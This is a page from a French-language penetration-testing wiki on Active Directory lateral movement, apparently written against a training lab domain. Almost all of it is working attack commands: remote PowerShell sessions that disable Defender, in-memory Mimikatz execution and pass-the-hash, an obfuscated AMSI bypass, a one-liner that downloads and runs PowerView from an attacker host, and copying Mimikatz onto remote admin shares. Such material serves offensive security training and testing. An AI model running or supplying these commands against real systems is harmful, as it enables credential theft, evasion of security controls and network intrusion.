Bebzounette
  • Bebzounettes
  • Active Directory
    • Recon
      • TCP/UDP
      • DNS
      • NetBIOS
      • RPC
      • LDAP
      • HTTP
      • Responder
      • ADRecon
      • BloodHound
      • Network Shares
      • Password Policy
      • Enumeration
        • Domain
        • Powerview
        • .NET Classes
    • Lateral movement
      • Code execution
        • PSExec
        • SMBExec
        • WMIexec / WMI
        • ATExec / SchTaskExec
        • 🚧DCOMExec / DCOM
        • Powershell Remoting - WinRM
        • Crackmapexec
        • Service Control (SC)
      • Credentials
        • Finding
          • Guessing
          • Bruteforce
          • Spraying
        • Dumping
          • SAM Base
          • LSA Secrets
          • LSASS Process
          • DPAPI secrets
          • NTDS.DIT
          • Group Policy Preferences
          • User description
        • Impersonnification
        • Cracking
      • Coercition
        • MS-RPRN (PrinterBug)
        • MS-EFSR (PetitPotam)
        • MS-DFSNM (DFSCoerce)
        • MS-FSRVP (ShadowCoerce)
        • WebClient (WebDAV)
      • Relay
      • Kerberos
        • Kerberoasting
        • AS-REP Roasting
        • 🚧Pass the Hash/Ticket
        • 🚧MSSQL Trusted Links
        • Forged Tickets
        • 🚧Delegations
          • Unconstrained Delegation
          • Constrained Delegation
          • (RBCD) Resource-Based Constrained
      • GPOs
      • DACL
      • Certificates Service (AD-CS)
      • Privileged Groups
        • DNS Admin
        • Backup Operator
      • Built-in Misconfigurations
        • PASSWD_NOTREQD
        • DONT_EXPIRE_PASSWORD
        • MachineAccountQuota
        • LAPS
      • CVEs
        • EternalBlue | MS17-010
        • Zerologon (CVE-2020-1472)
        • SamTheAdmin (CVE-2021-42278)
        • Certifried: (CVE-2022–26923)
    • 🚧Persistance & Exfiltration
      • Golden Ticket
      • Silver Ticket
      • Skeleton Key
      • DSRM
      • Custom SSP
      • AdminSDHolder
    • 🚧Cross Trust Attack
      • Across Domain
      • Across Forest
    • References
  • Systems
    • 🚧Windows
      • Informations d'identifications
      • Configuration des services
    • 🚧Linux
    • 🚧Mobile & IOT
  • Web
    • CheckList & Méthodologie
    • 🚧Pentest API
    • 🚧Wordpress
    • 🚧Jenkins
    • 🚧IIS Server
  • Applicatives vulnerabilities
    • Buffer-Overflow
  • Thick Client
    • Thick Client Methodology
  • Wireless Security
    • WIFI
    • 🚧ZIGBEE
    • 🚧ZWAVE
    • GNU-RADIO
  • Network
    • Modèle OSI & Adressage IPV4
    • 🚧DOS & DDOS
    • VOIP
  • Physical Access
    • 🚧Lock Picking
    • Matériels
    • Accès physique à un ordinateur
  • Forensic
    • Outils de Forensic
  • Information gathering
    • Scans
  • Services
    • Echo - 7
    • FTP - 21
    • SSH - 22
    • Telnet - 23
    • SMTP - 25/465/587
    • Whois - 43
    • Finger - 79
    • POP3 - 110
    • NTP - 123
    • MSRPC - 135/593
    • IMAP - 143
    • SMB - 445
    • RDP -3389
    • References
  • Github Repos
    • Repos Github
      • Windows
      • Pivoting
      • SQL Server
      • Web
      • Active Directory
  • Blog
    • Guide to NTLMv1 attacks
    • Local Privilege Escalation through ShadowCredentials
    • Resource Based Constrained Delegation in Active Directory
  • Contact
Powered by GitBook
On this page
  • ADModule:
  • Créer une session :
  • Exécuter des commandes sur cette session :
  • Pass-The-Hash :
  • Checklist création de session :
  • Énumération Latérale

Was this helpful?

  1. Active Directory

Lateral movement

ADModule:

Import-Module ..\\Microsoft.ActiveDirectory.Management.dll 
Import-Module .\\ActiveDirectory.psd1

Créer une session :

$sess = New-PSSession -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local
Enter-PSSession -Session $sess

Exécuter des commandes sur cette session :

Invoke-command -ScriptBlock {whoami} -ComputerName (Get-Content <list_of_servers>) # Injection de la commande "whoami" dans une list de machines
Invoke-command -ScriptBlock {Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-command -Filepath C:\\AD\\Tools\\Invoke-Mimikatz.ps1 -Session $sess # Load d'une fonction directement dans la mémoire de la machine ciblée
Invoke-command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess # Appel d'une fonction en la loadant directement dans la mémoire

Pass-The-Hash :

Invoke-Mimikatz -Command '"sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell.exe"'

Checklist création de session :

$ExecutionContext.SessionState.LanguageMode #Si c'est ConstrainedLanguage il nous sera impossible d'executer des modules 
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
powershell -ep bypass
iex (iwr <http://172.16.100.X/PowerView.ps1> -UseBasicParsing) #via un HFS
Copy-Item .\\Invoke-MimikatzEx.ps1 \\\\dcorp-adminsrv.dollarcorp.moneycorp.local\\c$\\"Program Files" # Utiliser le SMB Protocole 

Énumération Latérale

Find-LocalAdminAccess
Invoke-UserHunter -CheckAccess #par default groupe domain admin
Invoke-UserHunter -GroupName "RDPUser" -CheckAccess
Previous.NET ClassesNextCode execution

Last updated 1 year ago

Was this helpful?